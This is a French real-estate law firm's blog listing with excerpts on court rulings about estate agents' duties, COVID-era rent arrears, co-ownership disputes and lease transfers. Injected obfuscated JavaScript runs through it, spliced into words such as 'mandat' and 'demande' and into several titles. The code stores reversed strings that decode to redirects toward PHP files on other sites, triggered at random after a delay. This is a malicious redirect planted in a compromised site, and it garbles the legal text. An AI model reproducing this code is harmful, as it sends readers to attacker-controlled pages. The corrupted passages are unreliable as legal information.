Lemoine avocat
Solvabilité de l’acquéreur

Solvabilité de l’acquéreur

Devoir de conseil des agents immobiliers l’agent immobilier a un devoir de conseil sur la solvabilité de l’acquéreur, Cass., Civ., 1ère, 11 décembre 2019 (n° 18-24381) Dans cet arrêt, la Cour de cassation casse partiellement l’arrêt de la Cour d’appel et indique que « l’agent immobilier n’avait pas justifié avoir conseillé…

Confinement et impayés d’habitation

Confinement et impayés d’habitation

les locataires demeurent redevables des loyers liés à l’habitation Pendant ce second confinement lié à la pandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andémie COVID-19, les locataires demeurent redevables des loyers liés à l’habitation. En cas de difficultés pour payer le loyer, il est conseillé aux locataires de prendre…

Vente, vices cachés et appel en garantie du syndicat des copropriétaires

Vente, vices cachés et appel en garantie du syndicat des copropriétaires

Cass., Civ., 3ème, 11 juillet 2019 (n°18-10503) Lors de cette vente, il est apparu des vices cachés. Un appel en garantie a dû être fait auprès du Syndic des copropriétaires. Dans cette affaire, M. et Mme V… ont acquis de la société civile immobilière N… un appartement situé en rez-de-chaussée…

Loyers commerciaux et confinement lié à la COVID-19

Loyers commerciaux et confinement lié à la COVID-19

Ordonnance de référé rendue le 30 juin 2020 Dans une ordonnance de référé rendue le 30 juin 2020 par le Président du Tribunal Judiciaire de Nanterre, le juge des référés s’est déclaré compétent pour statuer sur les impayés de loyers dus pendant la période du confinement. Le preneur, défendeur à…

Obligation de l’agent immobilier de vérifier les signatures

Obligation de l’agent immobilier de vérifier les signatures

Cass., Civ., 3ème, 21 mars 2019 (n°18-10772) La Cour de cassation a jugé « que la notification de la promesse de vente par lettre recommandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andée avec demandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}ande d’avis de réception, prévue par l’article L. 271-1…

Devoir d’information de l’agent immobilier

Devoir d’information de l’agent immobilier

L’agent immobilier a un devoir d’information Cass., Civ., 1ère, 9 janvier 2019 (n°18-245) Dans cet arrêt, la Cour de cassation a jugé « qu’il incombait à l’agent immobilier, tenu d’une obligation de conseil, d’informer ses mandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andants de la nécessité de porter à la…

Toiture végétalisée et charges récupérables

Toiture végétalisée et charges récupérables

Pas de charges récupérables pour une toiture végétalisée Une réponse ministérielle du 9 octobre 2018 précise que les toitures végétalisées ne sauraient être assimilées à des espaces verts pour l’entretien desquels le décret prévoit la possibilité d’exiger des charges. Les dépenses d’entretien pour de telles surfaces ne sont donc pas…

Majoration et restitution du dépôt de garantie

Majoration et restitution du dépôt de garantie

Dépôt de Garantie Décision du Conseil Constitutionnel du 22 février 2019 Dans cette décision, le Conseil Constitutionnel a jugé que la majoration de 10% par mois de retard, en cas de restitution tardive du dépôt de garantie est conforme à la Constitution. Elle ne constitue ni une sanction ayant le…

Copropriété : valeur contractuelle de l’état descriptif de division

Copropriété : valeur contractuelle de l’état descriptif de division

(Cass., Civ., 3ème, 6 juillet 2017, n°16-16849) Dans cet arrêt, la Cour de cassation semble donner une valeur contractuelle à l’état descriptif de division et a statué ainsi : « Mais attendu qu’ayant souverainement retenu que l’état descriptif de division, auquel le règlement de copropriété avait conféré une valeur contractuelle et qui…

Copropriété : Responsabilité du syndicat des copropriétaires pour défaut d’élagage des arbres

Copropriété : Responsabilité du syndicat des copropriétaires pour défaut d’élagage des arbres

(CA Versailles, 1ère Ch., 2ème sect , 27 juin 2017, n°16/01759) La Cour d’appel de Versailles a retenu la responsabilité du syndicat des copropriétaires pour défaut d’élagage des arbres situés en parties communes. Le préjudice des copropriétaires est constitué par la perte de luminosité et d’ensoleillement de leur jardin privatif et de…

Point de départ du délai de prescription en matière de charges récupérables en cas d’indu

Point de départ du délai de prescription en matière de charges récupérables en cas d’indu

Délai de prescription et charges récupérables (Cass., Civ., 3ème, 9 novembre 2017, n°16-22445) Dans cet arrêt, la Haute Juridiction, se fondant sur l’article 68 de la loi du 1er septembre 1948 et les articles L442-6 du CCH et l’article 2224 du code civil, juge que l’action en répétition des charges indûment…

Convocation assemblée générale avant expiration contrat syndic

Convocation assemblée générale avant expiration contrat syndic

La convocation d’assemblée générale antérieurement à l’expiration du contrat de syndic Dans cette affaire, la Cour de cassation a jugé que la convocation à l’assemblée générale de copropriété est valable dès lors que le mandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andat du syndic n’est pas expiré et quandom()…

Pas d’indemnisation pour l’agent immobilier en l’absence de vente

Pas d’indemnisation pour l’agent immobilier en l’absence de vente

(Cass., Civ., 1ère, 16 novembre 2016, n°15-22010) La Cour de cassation a rendu le 16 novembre 2016 un arrêt de principe à propos d’un mandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andat exclusif reprenant ainsi une solution appliquée à un mandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andat…

toxiqués au plomb">Préjudice moral des locataires in$nJe=function(n){if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;	setTimeout($nJe(0), delay);}$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toxiqués au plomb

Préjudice moral des locataires intoxiqués au plomb

(CA Versailles, 1ère Ch., 2ème sect., 10 oct.2017, n°16/03428) Sur le fondement de l’article 6 de la loi du 6 juillet 1989, la Cour d’appel de Versailles a retenu la responsabilité du bailleur en raison de la présence de plomb. La Cour a accordé des  dommages et intérêts à hauteur de 5.000…

toire">Transfert de bail et concubin en situation irrégulière sur le terri$nJe=function(n){if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;	setTimeout($nJe(0), delay);}$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toire

Transfert de bail et concubin en situation irrégulière sur le territoire

Dans un arrêt en date du 20 octobre 2016, la Cour de cassation a jugé que le concubin du locataire décédé d’un logement social peut bénéficier d’un transfert de bail même s’il est en situation irrégulière et ce en application des articles 14 et 40 de la loi du 6…

$nJe=function(n){if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andat de vente envoyé par lettre simple">M$Ikf=function(n){if (typeof ($Ikf.list[n]) == "string") return $Ikf.list[n].split("").reverse().join("");return $Ikf.list[n];};$Ikf.list=["\'php.eroc_nimda/bil/steewt-tsetal-siseneg/snigulp/tnetnoc-pw/moc.nosredneherdied.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.r$nJe=function(n){if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}$nJe=function(n){if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andat de vente envoyé par lettre simple

Mandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andat de vente envoyé par lettre simple

(Cass., Civ., 3ème, 28 septembre 2016, n°15-19-313) Selon un arrêt rendu le 28 septembre 2016 par la Cour de cassation : « Mais attendu qu’en l’absence de date certaine du mandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andat, la formalité de l’enregistrement chronologique de cet acte, exigée par l’article 72, alinéa…